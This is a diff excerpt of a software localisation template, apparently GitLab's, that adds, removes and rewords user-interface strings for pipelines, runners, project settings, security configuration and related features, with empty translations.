-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
